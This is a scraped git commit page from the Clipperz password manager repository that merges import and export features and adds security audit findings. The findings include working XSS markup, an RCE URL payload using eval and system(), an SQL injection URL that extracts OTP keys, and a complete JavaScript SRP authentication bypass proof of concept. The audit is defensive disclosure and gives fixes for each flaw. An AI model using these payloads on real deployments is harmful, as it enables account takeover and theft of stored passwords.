1
0
mirror of http://git.whoc.org.uk/git/password-manager.git synced 2024-10-11 20:03:44 +02:00

Merged Import and Export branches, implemented Giulio's remarks on Import feature

This commit is contained in:
Dario Chiappetta 2015-05-21 14:32:51 +02:00
parent d1d5fae5de
commit 0126873868
43 changed files with 4494 additions and 1008 deletions

View File

@ -0,0 +1,63 @@
CLP-01-001 DOMXSS in Clipperz Bookmarklet via benign HTML Injection (Medium)
Insecure concatenation of HTML strings in the Clipperz bookmarklet core
lead to possibilities for an attacker, to turn a harmless injection on a
victim website into an XSS as soon as a user activates the bookmarklet.
The bookmarklet contains injectable code that allows arbitrary
JavaScript execution from a harmless injection as shown below:
PoC:
(run Clipperz Bookmarklet on this website)
<body>
<form action=''>
<input name='username' type='text'>
<input name='</textarea><img src=x onerror=alert(domain)>' type='password'>
</form>
Affected HTML:
<textarea style="border:2px solid #333366; font-family:sans-serif;
font-size:8pt; color:#336; width:240px; height:135px; padding:4px;
background-color:white; margin:0px 10px;"
id="bookmarklet_textarea">{"page": {"title": ""},
"form": {"attributes": {"action": "http://0x0/Test/",
"method": null},
"inputs": [{"type": "text",
"name": "username",
"value": "root"},
{"type": "password",
"name": "</textarea><img onerror="alert(domain)" src="x">",
"value": "k4n0n3!?"}]},
"version": "0.2.3"}</div>
Affected Code:
innerHTML+="<textarea id=\"bookmarklet_textarea\" style=\"border:2px
solid #333366; font-family:sans-serif; font-size:8pt; color:#336;
width:240px; height:135px; padding:4px; background-color:white;
margin:0px 10px;\">"+sj(someParameters)+"</textarea>";}
...
sj=function(o){var
objtype=typeof(o);if(objtype=="number"||objtype=="boolean"){return
o+"";}else if(o===null){return"null";} if(objtype=="string"){return
rs(o);} var
me=arguments.callee;if(objtype!="function"&&typeof(o.length)=="number"){var
res=[];for(var i=0;i<o.length;i++){var
val=me(o[i]);if(typeof(val)!="string"){val="undefined";} res.push(val);}
return"["+res.join(",\n")+"]";}
...
rs=function(o){return("\""+o.replace(/([\"\\])/g,"\\$1")+"\"").replace(/[\f]/g,"\\f").replace(/[\b]/g,"\\b").replace(/[\n]/g,"\\n").replace(/[\t]/g,"\\t").replace(/[\r]/g,"\\r");}
Any form of HTML, even content of HTML element attributes must be
considered an attack vector. Currently, Clipperz does a good job in
terms of encoding HTML element value attributes, yet other attribute
types are not escaped, encoded or filtered at all. This lead to the
identification of this and other bugs, specifically CLP-01-014 and
CLP-01-015.
It needs to be made sure, that any form of user controlled data is being
processed safely before displaying the resulting data. HTML special
characters need to be encoded to their respected entity representation
before displaying them.

View File

@ -0,0 +1,52 @@
CLP-01-002 Remote Code Execution in PHP Backend (Critical)
The PHP backend is vulnerable to Remote Code Execution attacks. In the
file setup/rpc.php, the name of a class can be specified in the
parameter objectname of which an object is later instantiated within an
eval() statement.
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
[...]
eval ('$instance = new '.$objectName.'();');
[...]
switch($action)
{
case 'Add':
eval ('$instance = new '.$objectName.'();');
[...]
case 'Delete':
eval ('$instance = new '.$objectName.'();');
[...]
case 'Update':
eval ('$instance = new '.$objectName.'();');
function RefreshTree($objectName, $root, $offset = '', $limit = '')
{
[...]
eval ('$instance = new '.$objectName.'();');
An attacker can add arbitrary PHP code to the objectname parameter that
is then executed on the web server. This allows to fully compromise the
web server and its data.
/setup/rpc.php?objectname=stdClass();system(?whoami?);phpinfo
Note that the setup routine can be protected by a password (empty by
default) but the affected file setup/rpc.php does not include the file
setup_library/authentication.php that performs the actual authentication
check. Thus, the attack can be executed by any user as long as the setup
directory exists.
PHP allows to dynamically call methods and constructors without using
the eval() operator by using reflection. Here, no execution of arbitrary
PHP code is possible.
$instance = new $objectName();
However, arbitrary constructors can be accessed that can lead to
unwanted behavior. Thus, the objectName parameter should be validated
against a whitelist which is already available in the $objects array
filled in line 28. Other names should be rejected by the application.
if(!in_array($objectName, $objects))
exit;

View File

@ -0,0 +1,75 @@
CLP-01-003 SQL Injection in PHP Backend (High)
The PHP backend is vulnerable to SQL injection attacks. The method
GetList() of the object class user, record, recordversion,
onetimepasswordstatus, and onetimepassword does not sanitize its
parameters sufficiently before adding these to a dynamically constructed
SQL query. Affected are the $sortBy and $limit parameter.
function GetList($fcv_array = array(), $sortBy='', $ascending=true,
$limit='') {
$sqlLimit = ($limit != '' ? "LIMIT $limit" : '');
$this->pog_query = "select * from `onetimepassword` ";
[...]
$this->pog_query .= " order by ".$sortBy." ".($ascending ? "asc" :
"desc")." $sqlLimit";
$cursor = Database::Reader($this->pog_query, $connection);
[...]
}
A vulnerable call of this method can be found in the function
RefreshTree() of the file setup/rpc.php. Its first parameter is passed
to the $sortBy parameter and the two last parameters are passed
concatenated to the $limit parameter of the vulnerable GetList() method.
function RefreshTree($objectName, $root, $offset = '', $limit = '') {
$sqlLimit = "$offset, $limit";
$instanceList = $instance->GetList(
array(array(strtolower($objectName)."Id",">",0)),
strtolower($objectName)."Id",
false,
$sqlLimit
);
}
The function RefreshTree() is called with unsanitized parameters when
the GET parameter action is set to Refresh.
$objectName = isset($_REQUEST['objectname']) ? $_REQUEST['objectname'] : '';
$limit = isset($_REQUEST['limit']) ? $_REQUEST['limit'] : '';
$offset = isset($_REQUEST['offset']) ? $_REQUEST['offset'] : '';
$action = $_GET['action'];
switch($action) {
case 'Refresh':
RefreshTree($objectName, $root, $offset, $limit);
}
An attacker is able to extract arbitrary data from the database,
including user data and OTP keys.
/setup/rpc.php?action=Refresh&objectname=user&offset=1&limit=1 union
select onetimepasswordid,userid,reference,key,key_checksum,data,7,8,9
from clipperz.onetimepassword
The construction of the WHERE clause from the parameter $fcv_array in
the GetList() method is also potentially affected by SQL injection.
Here, expected numeric values are added to the SQL query without
escaping or type-casting.
if(isset($this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'])
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
'NUMERIC'
&& $this->pog_attribute_type[$fcv_array[$i][0]]['db_attributes'][0] !=
'SET') {
}
else {
value = POG_Base::IsColumn($fcv_array[$i][2]) ? $fcv_array[$i][2] :
"'".$fcv_array[$i][2]."'";
$this->pog_query .= "`".$fcv_array[$i][0]."` ".$fcv_array[$i][1]." ".$value;
}
Expected numeric values should be converted to integer before embedding
them into the SQL query. Otherwise, an attacker is able to break out of
the single quotes and inject her own SQL syntax. For more security it is
highly recommended to use prepared statements, as done in the Python and
Java backend.

View File

@ -0,0 +1,69 @@
CLP-01-014 Persistent XSS via Direct Login from Bookmarklet (Critical)
Caused by missing output filtering, an attacker can abuse the
Bookmarklet in combination with the creation of a new card of type
?Direct Login? to persistently infect a Clipperz account and get full
and transparent access to all data stored in the account including
passwords, keystrokes and other sensitive data.
Steps to Reproduce:
Navigate to a maliciously prepared Website
Use the Clipperz Bookmarklet
Copy the generated JSON to create a Card
Navigate to the Clipperz application
Create a new card of type ?Direct Login?
Paste the content and save (First XSS is triggerd)
Create the card (Second XSS is triggered)
Anytime the affected user navigates to the malicious card, the injected
JavaScript is executed. This thereby effectively ?trojanizes? the entire
Clipperz account and gives an attacker access to any of the stored cards
and related passwords in plaintext.
Example Markup for malicious page:
<body>
<form action=''>
<input name='username' type='text'>
<input name='password' type='password'>
<input name='"><img src=x onerror=alert(domain)>' value='bla'>
</form>
Resulting JSON:
{"page": {"title": ""},
"form": {"attributes": {"action": "http://attacked/",
"method": null},
"inputs": [{"type": "text",
"name": "username",
"value": "root"},
{"type": "password",
"name": "password",
"value": ""},
{"type": "text",
"name": "\"><img src=x onerror=alert(domain)>",
"value": "bla"}]},
"version": "0.2.3"}
Affected Markup in Clipperz application:
<tr id="elgen-1630"><td
class="directLoginBindingLabelTD"><span>"&gt;&lt;img src=x
onerror=alert(domain)&gt;</span></td><td
class="directLoginBindingValueTD"><div style="display: none;"
id="Clipperz_PM_Components_Panels_editModeBox_3947"><select
id="Clipperz_PM_Components_Panels_select_3948"><option
value="null">---</option><option
value="014ab7a3d138834f883b0742857cd906fd1902e5c42303348fa181eb568695c1">username</option><option
value="8e63b43adc66c2efb1ad9b61aa0e7184f12545eeb163ce076cbae05d5d6e0a45">password</option><option
value="01a2b7d792deb70d98ad5f1bb0b3afd89de20554ba606be2662531c20dd6fd48"
selected="true">"&gt;&lt;img src=x
onerror=alert(domain)&gt;</option></select></div><div style="display:
block;" id="Clipperz_PM_Components_Panels_viewModeBox_3949"><span
id="Clipperz_PM_Components_Panels_viewValue_3950">"&gt;<img src="x"
onerror="alert(domain)"></span></div></td></tr>
It is highly recommended to escape and filter any output and consider
the pages to pull login data from to be an adversary as well. Especially
the content of the name field and other attributes of form elements
should not be considered trusted as they can contain malicious data -
similar to the form element?s value. All special HTML characters need to
be converted into their corresponding HTML entities before displaying
them to the user.

View File

@ -0,0 +1,62 @@
CLP-01-015 Persistent XSS on Index Page via Direct Login Favicon (Critical)
Similar to the issue described in CLP-01-014, a persistent XSS can be
triggered using the Direct Login feature. Clipperz attempts to load the
favicon of the linked website and display its URL inside the src
attribute of an IMG element. An attacker can cause the bookmarklet to
deliver a maliciously prepared URL that, in conjunction with the favicon
display, leads to an XSS attack.
Note that this attack is capable of executing arbitrary attacker
controlled JavaScript right after the victim logged in, because the
vulnerable element is being shown on the index page. It is further
possible to create a malicious page that will fill the bookmarklet?s
textarea with arbitrary content. The victim would have no way to detect
that something was injected and will willingly copy & paste it into the
clippers application?s card creator form.
Steps to reproduce:
Copy malicious JSON into card editor for ?Direct Login?
Create the card
Logout
Log in again
Attacker?s JavaScript executes
Example JSON to inject the payload:
{"page": {"title": ""},
"form": {"attributes": {"action": "javascript://\"onload=alert(1)//",
"method": null},
"inputs": [{"type": "text",
"name": "username",
"value": ""},
{"type": "password",
"name": "password",
"value": ""}]},
"version": "0.2.3"}
Affected Markup in Clipperz application:
<img
id="6a103aa5ab36f0c34cebde816f468bfd9550ca5bbbce67470a0ec58ec7ea1a4b_faviconIMG"
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
onload="alert(1)///favicon.ico&quot;"></td><td valign="top"><a
class="directLoginItemTitle">adadadsadsa</a></td><td align="right"
valign="top"><a
class="directLoginItemEditButton">show</a></td></tr></tbody></table></li><li
class=" "
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4"><table
border="0" cellpadding="0" cellspacing="0"><tbody><tr><td align="center"
valign="top" width="20"><img
id="a88d6fc245559afc38aee293fb59790233242dad2633ed61dcc110e2e61644c4_faviconIMG"
src="data:application/octet-stream;charset=utf-8;base64,AAABAAEAFxcAAAEAGAD8BgAAFgAAACgAAAAXAAAALgAAAAEAGAAAAAAAAAAAABIXAAASFwAAAAAAAAAA...AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo="
onload="alert(1)///favicon.ico&quot;"></td><td valign="top"><a
class="directLoginItemTitle">unnamed record</a></td><td align="right"
valign="top"><a class="directLoginItemEditButton">show</a>
It must be ensured that any form of user controlled data is being
filtered and encoded properly. It has shown, that the JSON processing
for direct logins is a particularly vulnerable element of the Clipperz
application and deserves special attention. We believe, that the
bookmarklet is easily exposed to injection attacks and that the content
of the textarea for direct login data is a dangerous and easy to exploit
attack vector and needs to be treated as such by the Clipperz
application upon processing its data.

View File

@ -0,0 +1,20 @@
CLP-01-016 SRP implementation vulnerable to known attacks (High)
The Clipperz application implements the Secure Remote Password protocol
for authentication. The implementation adheres to the original protocol
specification from 1998 and is not standardized. The third revision
(SRP-3) is described in RFC2459, and has since revised several times to
prevent against attacks. Two attacks, ?two-for-one? guessing attack and
message ordering attack, are detailed in the paper ?SRP-6 Improvements
and Refinements of the Secure Remote Password Protocol?. The latest
revision of the protocol SRP-6 is being standardized in IEEE P1363 and
ISO/IEC 11770-4.
Specifically, the implementation is missing the k value introduced in
SRP-6 to prevent the ?two-for-one? attack. The k value is used on the
server side to compute B=kv+gb and on the client side to compute
S=(B-kgx)(a+ux). Also, the exchange of messages follows the SRP-3
optimized ordering, not the standard or optimized message ordering of
SRP-6, which was introduced to prevent a message ordering attack. Note
also that the computation of M1=H(A | B | K) does not adhere to
M1=H(H(N) XOR H(g) | H(I) | s | A | B | K) as specified by the standard.

View File

@ -0,0 +1,88 @@
CLP-01-017 SRP Authentication Bypass (Critical)
The Clipperz application implements the Secure Remote Password protocol
for authentication. The specification explicitly states that the
parameter A provided by the client must not be zero. The Clipperz
implementation omits this check, which makes password verification
trivial to bypass.
According to the SRP-6 specification, the shared secret is on the server
side calculated as (Avu)b where A is supplied by the client. If A is
zero the result is also zero, and the resulting shared key is H(0). The
corresponding proof can easily be calculated by the attacker as H(0 | B
| H(0)). The following JavaScript function can be run in the console
when on the Clipperz login page. While the page itself is not updated,
the resulting JSON response clearly indicates a successful login.
SRP authentication bypass PoC:
(function PoC(){
function send(m,p){
x=new XMLHttpRequest();
x.open('post','/json',false);
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
x.send('method='+m+'&parameters='+urlEncode(JSON.stringify(p)));
return JSON.parse(x.responseText);
}
r=send('knock',{"requestType":"CONNECT"});
r=send('handshake',{"parameters":
{"message":"connect",
"version":"0.2",
"parameters":
{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
"A":"0"}},
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
S=new Clipperz.ByteArray("0")
K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
M1=new Clipperz.ByteArray("0"+B+K)
M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
return send('handshake',{"parameters":
{"message":"credentialCheck",
"version":"0.2",
"parameters":{"M1":M1}},
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
})()
Example JSON response:
{"result":
{"subscription":
{"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
"features":["OFFLINE_COPY","LIST_CARDS"],
"toDate":"Mon, 01 January 4001 00:00:00 UTC",
"type":"EARLY_ADOPTER"},
"loginInfo":
{"current":
{"operatingSystem":"LINUX",
"disconnectionType":"STILL_CONNECTED",
"browser":"FIREFOX",
"connectionType":"LOGIN",
"date":"Tue, 06 May 2014 03:09:28 UTC",
"country":"SE",
"ip":"83.248.183.26"},
"latest":
{"operatingSystem":"LINUX",
"disconnectionType":"SESSION_EXPIRED",
"browser":"FIREFOX",
"connectionType":"LOGIN",
"date":"Tue, 06 May 2014 02:16:36 UTC",
"country":"SE",
"ip":"83.248.183.26"}},
"connectionId":
"35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
"lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
"offlineCopyNeeded":true,
"M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
"toll":
{"targetValue":
"2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
"requestType":"MESSAGE",
"cost":2}
}
To mitigate the issue sufficiently, the server needs to verify that A
cannot be 0 so the attack cannot be carried out.

View File

@ -465,6 +465,21 @@ div.overlay {
-ms-animation-delay: -0.0833s;
-o-animation-delay: -0.0833s;
animation-delay: -0.0833s; }
div.overlay .progressBar {
width: 100%;
background-color: #222;
height: 4px;
margin-top: 86px;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px; }
div.overlay .progressBar .progress {
background-color: #999;
height: 4px;
display: block;
-webkit-border-radius: 2px;
-moz-border-radius: 2px;
border-radius: 2px; }
@-webkit-keyframes overlay-spin {
from {
@ -835,7 +850,8 @@ html {
-moz-flex: auto;
-ms-flex: auto;
flex: auto;
overflow: auto; }
overflow: auto;
-webkit-overflow-scrolling: touch; }
#extraFeaturesPanel .extraFeatureIndex footer {
-webkit-box-flex: none;
-webkit-flex: none;
@ -853,6 +869,12 @@ html {
width: 100%;
height: 100%;
background-color: black; }
#extraFeaturesPanel .extraFeatureContent .extraFeature {
height: 100%; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .content {
height: 100%;
overflow: auto;
-webkit-overflow-scrolling: touch; }
.container {
height: 100%;
@ -1206,7 +1228,7 @@ div.dialogBox {
z-index: 10;
background-color: rgba(0, 0, 0, 0.5); }
div.dialogBox .mask {
z-index: 12; }
z-index: 25; }
div.dialogBox div.dialog {
-webkit-box-flex: none;
-webkit-flex: none;
@ -1346,7 +1368,7 @@ div.dialogBox {
margin: 0px; }
#loginPage {
overflow: scroll;
overflow: auto;
-webkit-overflow-scrolling: touch; }
#loginPage div.loginForm {
display: -webkit-box;
@ -1983,20 +2005,24 @@ span.count {
border-top: 1px solid white; }
#extraFeaturesPanel .extraFeatureIndex > div > ul > li {
border-bottom: 1px solid white; }
#extraFeaturesPanel .extraFeatureIndex > div > ul > li > ul {
padding-left: 10px; }
#extraFeaturesPanel .extraFeatureIndex > div > ul > li > h1 {
cursor: pointer;
font-size: 16pt;
padding: 10px; }
#extraFeaturesPanel .extraFeatureIndex > div > ul > li.closed > ul {
display: none;
visibility: hidden; }
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li {
padding: 10px;
padding-right: 0px; }
padding-left: 20px;
padding-right: 0px;
cursor: pointer; }
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.selected {
background-color: #333; }
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li > div {
padding: 4px; }
#extraFeaturesPanel .extraFeatureIndex > div ul li h1 {
cursor: pointer;
font-size: 16pt;
padding: 10px; }
#extraFeaturesPanel .extraFeatureIndex > div ul li > ul > li.offlineCopy {
cursor: default; }
#extraFeaturesPanel .extraFeatureIndex > div ul li h2 {
font-weight: 300;
font-size: 14pt; }
@ -2037,51 +2063,169 @@ span.count {
#extraFeaturesPanel .extraFeatureContent {
border-right: 1px solid #222;
color: white;
/* IMPORT */
/* /IMPORT */ }
/*
.changePassphraseForm {
label {
display: block;
}
input {
display: block;
}
}
.deleteAccountForm {
margin-top: 1em;
label {
display: block;
}
input {
display: inline-block;
margin-right: 1em;
margin-bottom: 1em;
}
.confirmCheckbox {
display: inline-block;
}
}
*/ }
#extraFeaturesPanel .extraFeatureContent header {
display: none; }
#extraFeaturesPanel .extraFeatureContent .changePassphraseForm label {
display: block; }
#extraFeaturesPanel .extraFeatureContent .changePassphraseForm input {
display: block; }
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm {
margin-top: 1em; }
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm label {
display: block; }
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm input {
#extraFeaturesPanel .extraFeatureContent .extraFeature {
padding: 20px; }
#extraFeaturesPanel .extraFeatureContent .extraFeature h1 {
font-size: 20pt;
padding-bottom: 20px; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form label {
display: none; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form input {
display: block;
font-size: 18pt;
margin-bottom: 8px;
padding: 6px 10px;
border: 0px solid white;
width: 350px;
color: black; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form input.invalid {
border: 0px solid #ff9900;
color: gray; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form p {
display: -webkit-box;
display: -webkit-flex;
display: -moz-flex;
display: -ms-flexbox;
display: flex;
-webkit-box-direction: normal;
-webkit-box-orient: horizontal;
-webkit-flex-direction: row;
-moz-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form p input {
width: 30px;
-webkit-box-flex: auto;
-webkit-flex: auto;
-moz-box-flex: auto;
-moz-flex: auto;
-ms-flex: auto;
flex: auto; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form p span {
-webkit-box-flex: auto;
-webkit-flex: auto;
-moz-box-flex: auto;
-moz-flex: auto;
-ms-flex: auto;
flex: auto;
font-size: 12pt; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form button {
font-family: "clipperz-font";
color: white;
font-size: 14pt;
border: 0px;
margin-top: 20px;
padding: 6px 10px;
border: 1px solid white;
background-color: #ff9900;
-webkit-transition: background-color font-weight 0.2s linear;
-moz-transition: background-color font-weight 0.2s linear;
-o-transition: background-color font-weight 0.2s linear;
-ms-transition: background-color font-weight 0.2s linear;
transition: background-color font-weight 0.2s linear; }
#extraFeaturesPanel .extraFeatureContent .extraFeature form button:disabled {
font-weight: 100;
background-color: #c0c0c0;
cursor: default; }
#extraFeaturesPanel .extraFeatureContent .extraFeature ul {
color: white; }
#extraFeaturesPanel .extraFeatureContent .extraFeature ul li {
padding-bottom: 40px; }
#extraFeaturesPanel .extraFeatureContent .extraFeature h3 {
font-size: 18pt; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .description {
max-width: 500px;
padding: 10px 0px 20px 0px; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .description p {
font-size: 10pt;
margin-bottom: 7px;
line-height: 1.4em;
color: #bbb; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .description p em {
text-decoration: underline; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .button {
display: inline-block;
margin-right: 1em;
margin-bottom: 1em; }
#extraFeaturesPanel .extraFeatureContent .deleteAccountForm .confirmCheckbox {
display: inline-block; }
#extraFeaturesPanel .extraFeatureContent .importForm textarea {
display: block;
color: white;
background-color: #ff9900;
font-size: 14pt;
border: 1px solid white;
padding: 6px 10px; }
#extraFeaturesPanel .extraFeatureContent .extraFeature .button.disabled {
background-color: #c0c0c0;
cursor: default; }
#extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li {
display: inline-block;
margin-right: 1em; }
#extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li.disabled {
color: gray; }
#extraFeaturesPanel .extraFeatureContent .dataImport .stepNavbar li.active {
text-decoration: underline; }
#extraFeaturesPanel .extraFeatureContent .dataImport .error {
margin: 1em 0; }
#extraFeaturesPanel .extraFeatureContent .dataImport textarea {
width: 100%;
min-height: 400px; }
#extraFeaturesPanel .extraFeatureContent .jsonPreview {
min-height: 400px;
display: block;
margin: 1em 0;
border: 0; }
#extraFeaturesPanel .extraFeatureContent .dataImport .csvTable {
background: white;
margin: 1em 0; }
#extraFeaturesPanel .extraFeatureContent .dataImport .dropArea {
margin: 1em 0;
width: calc(100% - 6px);
text-align: center;
height: inherit;
line-height: 3em;
border: 3px dashed white;
background: black; }
#extraFeaturesPanel .extraFeatureContent .dataImport .button {
margin-right: 1em; }
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview {
width: 100%;
height: 80%;
overflow: auto;
margin-top: 1em; }
#extraFeaturesPanel .extraFeatureContent .jsonPreview h3 {
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview h3 {
font-weight: bold; }
#extraFeaturesPanel .extraFeatureContent .jsonPreview ul {
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview ul {
margin-bottom: 1em;
padding-left: 1em; }
#extraFeaturesPanel .extraFeatureContent .jsonPreview ul li .label {
#extraFeaturesPanel .extraFeatureContent .dataImport .jsonPreview ul li .label {
font-weight: bold; }
#extraFeaturesPanel .extraFeatureContent form input.valid + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.empty + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input:focus + .invalidMsg, #extraFeaturesPanel .extraFeatureContent form input.invalid:focus + .invalidMsg {
visibility: hidden; }
#extraFeaturesPanel .extraFeatureContent form input:focus {
border: 2px solid #ff9900; }
#extraFeaturesPanel .extraFeatureContent form input.valid:focus {
border: 2px solid #1863a1; }
#extraFeaturesPanel .extraFeatureContent form input.invalid + .invalidMsg {
visibility: visible; }
#extraFeaturesPanel .extraFeatureContent form .invalidMsg::before {
font-family: serif;
content: "\26A0 \0000a0"; }
.mainPage.narrow #extraFeaturesPanel .extraFeatureContent header {
display: block;
@ -2191,7 +2335,7 @@ div.cardList ul {
padding-right: 8px; }
div.cardList.narrow {
overflow: scroll;
overflow: auto;
-webkit-overflow-scrolling: touch; }
div.cardList.narrow.loadingCard li.selected:after {
color: white;
@ -2598,12 +2742,16 @@ div.dialog {
-webkit-border-radius: 8px;
-moz-border-radius: 8px;
border-radius: 8px;
max-width: 70%;
background-color: white;
padding: 30px; }
padding: 30px;
box-shadow: 4px 4px 6px 5px rgba(0, 0, 0, 0.3); }
div.dialog h3.message {
font-size: 18pt;
font-weight: bold;
padding-bottom: 20px; }
padding-bottom: 20px;
white-space: pre-wrap;
word-wrap: break-word; }
div.dialog div.answers div.button {
-webkit-border-radius: 4;
-moz-border-radius: 4;

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" clip-rule="evenodd" stroke-miterlimit="10" viewBox="440.19 329.29 76.14 72.20">
<desc>SVG generated by Lineform</desc>
<defs/>
<path d="M 487.26 353.66 L 487.26 329.79 L 468.36 329.79 L 468.36 353.66 L 447.21 345.11 L 440.83 363.30 L 462.69 370.67 L 448.72 389.20 L 464.55 400.78 L 477.58 381.06 L 491.92 400.78 L 507.51 389.20 L 493.17 370.67 L 515.69 363.12 L 509.31 344.93 Z M 526.25 492.82 " fill-rule="non-zero" fill="#000000" stroke="#000000" stroke-width="0.25"/>
</svg>

After

Width:  |  Height:  |  Size: 627 B

View File

@ -85,6 +85,7 @@ Clipperz_normalizedNewLine = '\x0d\x0a';
</div>
<span class="icon done" style="display:none">done</span>
<span class="icon failed" style="display:none">failed</span>
<span class="progressBar" style="display:none"><span class="progress"></span></span>
<span class="title">loading</span>
<div class="mask hidden"></div>
</div>

View File

@ -233,6 +233,8 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.DirectLogin, Object, {
'serializedData': function () {
return Clipperz.Async.collectResults("DirectLogin.serializedData", {
'favicon': MochiKit.Base.method(this,'favicon'),
'label': MochiKit.Base.method(this,'label'),
'bookmarkletVersion': MochiKit.Base.method(this, 'getValue', 'bookmarkletVersion'),
'formData': MochiKit.Base.method(this, 'getValue', 'formData'),
'formValues': MochiKit.Base.method(this, 'getValue', 'formValues'),

View File

@ -316,6 +316,36 @@ console.log("Record.Version.hasPendingChanges");
* /
},
*/
//=========================================================================
// TODO: this function may mix up the order of the fields
'exportFields': function() {
var deferredResult;
var fields;
deferredResult = new Clipperz.Async.Deferred('Record.Version.export', {trace:false});
deferredResult.addMethod(this,'fields');
deferredResult.addCallback(MochiKit.Base.values);
deferredResult.addCallback(MochiKit.Base.map, function(fieldIn) {
return fieldIn.content();
});
deferredResult.addCallback(Clipperz.Async.collectAll);
deferredResult.addCallback(function(listIn) {
// return listIn.reduce(function(result, field) {
return MochiKit.Iter.reduce(function(result, field) {
var ref = field.reference;
result[ref] = field;
delete result[ref].reference;
return result;
}, listIn, {});
});
deferredResult.callback();
return deferredResult;
},
//=========================================================================
__syntaxFix__: "syntax fix"
});

View File

@ -45,9 +45,7 @@ Clipperz.PM.DataModel.Record = function(args) {
this._createNewDirectLoginFunction = args.createNewDirectLoginFunction || null;
this._tags = [];
this._directLogins = {};
this._versions = {};
this._currentRecordVersion = null;
@ -163,16 +161,20 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt
//............................................................................
'tagRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); },
'trimSpacesRegExp': function () { return Clipperz.PM.DataModel.Record.tagRegExp(); },
'filterOutTags': function (aValue) { return Clipperz.PM.DataModel.Record.filterOutTags(aValue); },
'extractLabelFromFullLabel': function (aValue) {
return Clipperz.PM.DataModel.Record.extractLabelFromFullLabel(aValue);
},
'extractTagsFromFullLabel': function (aLabel) {
return Clipperz.PM.DataModel.Record.extractTagsFromFullLabel(aLabel);
},
//............................................................................
'label': function () {
return Clipperz.Async.callbacks("Record.label", [
MochiKit.Base.method(this, 'fullLabel'),
MochiKit.Base.method(this, 'filterOutTags')
MochiKit.Base.method(this, 'extractLabelFromFullLabel')
], {trace:false});
},
@ -193,22 +195,6 @@ Clipperz.Base.extend(Clipperz.PM.DataModel.Record, Clipperz.PM.DataModel.Encrypt
//.........................................................................
'extractTagsFromFullLabel': function (aLabel) {
var tagRegEx;
var result;
var match;
result = {};
tagRegEx = this.tagRegExp();
match = tagRegEx.exec(aLabel);
while (match != null) {
result[match[1]] = true;
match = tagRegEx.exec(aLabel);
}
return result;
},
'tags': function () {
return Clipperz.Async.callbacks("Record.label", [
MochiKit.Base.method(this, 'fullLabel'),
@ -1163,6 +1149,64 @@ console.log("Record.hasPendingChanges RESULT", result);
], {trace:false});
},
//=========================================================================
'exportDirectLogins': function() {
var result;
var directLoginsObject = this.directLogins();
if (MochiKit.Base.keys(directLoginsObject).length == 0) {
result = {};
} else {
var callbackObject = Object.keys(directLoginsObject).reduce(function(previous, current) {
previous[current] = MochiKit.Base.method( directLoginsObject[current], 'serializedData' );
return previous;
}, {});
result = Clipperz.Async.collectResults("Record.exportDirectLogins", callbackObject,{trace:false})();
}
return result;
},
'export': function() {
var deferredResult;
var label;
var data;
var currentVersion;
var directLogins;
var currentVersionObject;
data = {};
currentVersion = {};
directLogins = {};
deferredResult = new Clipperz.Async.Deferred('Record.export', {trace:false});
deferredResult.addMethod(this, 'getCurrentRecordVersion');
